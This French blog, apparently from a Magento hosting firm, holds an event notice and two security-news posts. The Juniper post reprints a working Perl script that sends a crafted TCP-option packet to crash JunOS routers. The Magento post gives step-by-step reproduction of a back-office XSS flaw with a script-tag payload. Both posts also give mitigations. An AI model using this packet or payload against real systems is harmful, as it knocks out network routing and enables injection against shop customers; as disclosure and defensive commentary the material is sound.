jan 20

Tandis que nous nous attelons avec Gabriel et nos soutiens habitués (François Ziserman, Capitaine Commerce, Didier, Varien etc…) à l’organisation de Bargento 4, nous venons de recevoir la vidéo du 3.

Voici donc une rapide compilation de ce que fut Bargento 3, c’est incomplet car on ne peut saisir la « texture »  ou l’ambiance mais c’est suffisamment représentatif pour ceux qui ne sont jamais venus à un Bargento.

La salle de Bargento 4 sera bientôt arrêté et nous pourrons alors lancer les dossiers de sponsoring ainsi que les enregistrement de places, en attendant, bonne visualisation de cette vidéo et à très bientôt :

écrit par Philippe Humeau

jan 11

Bonjour à toutes & à tous,

Bon, normalement, on parle essentiellement Magento et hébergement ici. Il se trouve que ma société est aussi un acteur de longue date dans le monde de la sécurité informatique et donc forcément, ca nous passionne aussi (en plus ca fait partit de l’infogérance).

Donc après les failles XSS de Magento, qui semble t’il seraient aussi présente dans d’autres endroits du code après quelques tests,  une nouvelle qui risque de pas mal mettre la zone dans le routage internet ces prochains jours : Déni de service sur les Juniper…

Alors Juniper pour les personnes à qui ca ne cause pas, c’est une marque d’éléments actifs, notamment de routeurs, grand concurrent de Cisco. Ils font donc des routeurs à l’excellente réputation, mais là, ils ont dû rater un étage en codant la stack IP du routeur. Bref, en partant d’un BSD bien propre sur lui, on se retrouve pourtant avec le moyen de faire un « killer packet » :

$ cat junos-crash.pl
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
dst         => $port,
options     =>  "\x65\x02\x01\x01",
);

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

L’article original par son auteur se trouve ici et on trouve aussi des détails ici.

Comme me le disait Émile ce matin (le bosse de l’exploitation chez nous) : « ca sent la chasse aux pigeons ». En traduction littérale, vu le type de réseaux qu’équipe Juniper, il n’est pas impossible que quelques routeurs prennent des paquets evil dans les dents, juste histoire de les mettre à genoux.

Le paquet en question, rien qu’en réglant des champs d’options dans le header TCP, permet de faire rebooter le routeur à distance à peine 10 secondes après réception du paquet, sur un kernel panic en plus.

D’un autre coté, les routeurs réellement sensibles traitent du BGP et ne sont visibles en IP que pour les admins, ce qui devrait rendre difficile l’envoie de ce genre de paquets. A voir donc, mais il n’est pas exclu que ces gentils petits « killer packet » fassent parler d’eux.

D’autres questions subsistent à ce stade très en amont de la recherche sur cette faille : toutes les versions sont elles touchées, est-ce reproductible ou l’environnement nécessite t’il d’être dans un état très particulier ? Les FreeBSD vont ils hériter de la même vulnérabilité ? Bref, à peine 24h après la first disclosure, il n’est pas impossible que ca aille plus loin, très loin même, tout comme cette faille peut faire un beau « pschhhhit » et ne jamais impacter Internet. W8&C.

Mise à jour 11/01/2010 à 15h42 : La faille a été lancée plusieurs fois contre des Juniper de tests par mes amis et/ou collègues et … ca marche, très bien même. En fait il y a même le routeur d’un ami qui ne s’en est pas remis (pas rebooté). Ça sent la très méchante faille générique sur Juniper et l’impact pourrait être très costaud sur Internet et le routage global. N’hésitez pas à ajouter vos tests complémentaires ou points de vus en commentaires.

Mise à jour 11/01/2010 à 16h51 : bon ben comme ca c’est clair, votre routeur est, par essence vulnérable, http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/
Donc, il faut appliquer la  BCP38 sinon c’est la mort assuré de votre routeur s’il est visible d’Internet. La Best Common Practice 38 c’est : « filter at the edge », réduire au minimum requis les IP autorisées à accéder au routeur.

Mise à jour 12/01/2010 à 10h10 : Allez, visiblement, janvier ca va être la fête des poneys ! http://it.slashdot.org/story/10/01/11/1640232/Firm-To-Release-Database-Web-Server-0-Days?art_pos=11

Ça aussi ca promet un beau gros cauchemar de mise à jour puisque Mysql serait potentiellement victime d’un overflow (ou plusieurs). Encore une fois ca dépendra de la façon dont c’est exploitable mais dans le principe ca pourrait être dangereux.

écrit par Philippe Humeau \\ tags: , ,

jan 06

Bonne année, meilleurs vœux

Que la fortune se jette sur vous par surprise, que les anges du E-commerce bénissent le berceau de votre nouveau site web, que les trompettes de la gloire chante leur mélodieuse mélopée dans le creux de vos oreilles. Bref tout le meilleur à vous, à tous, que 2010 soit une année joyeuse !

Pour se chauffer en ce début d’année, une petite faille dans Magento ca vous dit ?

Le vieux démon est de retour chez Varien, le XSS

Je ne redécrirai pas cette classe de vulnérabilité car ce post précédent était assez détaillé sur le sujet et la littérature ne manque pas.

Magento, vu l’impressionnante quantité de code qu’il contient, est relativement bien géré sur ce plan, mais… L’usage de Zend et les bonnes pratiques mises en place par Yoav et Michael ne sont pas toujours suffisantes. Un moment d’égarement, un vieux bout de code jamais audité, personne n’est à l’abri.

La vulnérabilité du jour

En fait, elle est relativement mineure en terme de possibilités car il faut déjà être un utilisateur authentifié pour pouvoir l’exploiter. Ceci étant, une fois loggé dans le backoffice, peut mener des actions assez dangereuses en terme de Cross Site Scripting.

Les versions touchées de manière certaines sont les 1.3.2.xx en community edition, peut être que d’autres sont aussi vulnérables.

Le paramètre « product_name » n’est pas correctement nettoyé, « sanitized » en anglais. Cette procédure consiste à vérifier que la variable passée ne contient pas de « *’%$ et autres caractère spéciaux permettant de passer du Javascript.

Idem pour les variables : Product SKU, Product description, customer group name, category name, attribute set, sitemap path, customer tax class, product tax class, taxe rate id qui ne sont pas non plus nettoyées correctement.

Post original de la faille

Savoir si l’on est vulnérable à cette XSS

  1. Allez dans le backoffice
  2. Cliquez dans catalogue
  3. Mettre les réglages par défaut et cliquer sur continuer
  4. Entrez « <script>Alert(‘Cross Site Scripting’);</script>
  5. Entrez des données au hasard dans les autres champs et cliquez sur ‘Save’
  6. Cliquez sur Ventes->Commandes et « créer une nouvelle commande »
  7. Choisissez un client
  8. Cliquez sur « Ajouter un produit »
  9. Sélectionnez le produit nouvellement créé et ajouter le produit à la commande
  10. Et hop, une faille XSS !

Une méthode complète de tests ?

Bien évidemment, pour éviter cela, une analyse statique et/ou dynamique du code source produit après un commit SVN serait pertinent chez Varien. Évidemment, si c’est le cas chez Varien, c’est aussi vrai pour les web agency qui surcharge les classes du framework ou ne code pas toujours dans les normes.

Comment se protéger correctement ?

Déjà, pas de panique, la faille n’est pas gravissime car elle nécessite d’être déjà authentifié pour nuir. Techniquement, si quelqu’un a les accès en backoffice et veut nuir, ca risque d’être plus simple de faire autrement que de faire une XSS. Cela peut être une méthode subtil pour nuir cependant.

Imaginons qu’un concurrent réussisse à se connecter à votre backoffice, il lui sera alors possible de capter tous vos clients ou de leur nuire en infectant leurs browsers voir en détournant les commandes… Gênant.

Si (et ce n’est pas prouvé pour le moment), si la vulnérabilité touche aussi la version EE, les rôles peuvent être très séparés et du coup un stagiaire avec des droits de pioupiou pourrait injecter une XSS auprès des clients.

Que faire :

  1. Mettre un mot de passe fort et ne faire des comptes qu’aux personnes de confiance
  2. Déporter son backoffice sur un autre sous domaine et lui mettre un HTaccess
  3. Mettre à jour sa version en 1.4 CE ou 1.7 EE
  4. <chez Varien> auditer le code source <chez les webagency> faire auditer le site une fois qu’il est finit

écrit par Philippe Humeau \\ tags: , ,